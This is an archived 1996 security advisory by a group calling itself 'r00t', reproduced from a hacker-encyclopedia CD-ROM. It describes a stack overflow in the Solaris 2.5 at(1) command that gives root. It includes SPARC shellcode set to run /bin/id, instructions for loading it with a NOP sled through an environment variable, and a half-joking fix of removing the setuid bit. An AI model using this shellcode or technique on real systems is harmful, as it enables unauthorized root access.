home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / at_explo.txt / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  1.3 KB  |  46 lines

  1. r00t advisory                        [ sol 2.5 at(1) ]
  2.                             [ Aug 24 1996   ]
  3.  
  4. -- Synposis
  5. There exists a vunerability in the at(1) program that will allow any user
  6. to execute arbitray commands as r00t.  The at program will gladly overflow
  7. it's stack with whatever data is passed to it on the command line.
  8.  
  9. -- Exploitability
  10. r00t has tested this vunerability and successfully run the id(1) program as
  11. euid r00t from a non root account.  By making an environment variable contain
  12. native machine code and passing it as a paramater to the at(1) program you
  13. may force at to execute your code as r00t.
  14.  
  15. Machine code such as the following makes a fine example:
  16.    unsigned exec[INSTRUCTIONS]= {
  17.         0x9fc0202c,
  18.         0xc0247ff5,
  19.         0xe227bff0,
  20.         0xc027bff4,
  21.         0x9207bff0,
  22.         0x901d200a,
  23.         0x901a200a,
  24.         0x8210203b,
  25.         0x91d02008,
  26.         0x82102001,
  27.         0x91d02008,
  28.         0xa3c3e004
  29.     };
  30.     char *cmd="/bin/id";
  31.  
  32. For this exploit to work a malicous hacker would have to fill an environ 
  33. variable with garbage (well, nops or equiv), and the above machine code
  34. followed immediately by the cmd string.
  35.  
  36. -- Fixes ?
  37.  
  38. In the spirit of past advisories, our first suggestion is to downgrade to a 
  39. UNIX so old that it doesn't yet contain the at(1) feature.  If that is not
  40. a viable option for you, then perhaps you should just chmod 755 /bin/at.
  41.  
  42. r00t -- moving at the speed of business.
  43.  
  44.  
  45.  
  46.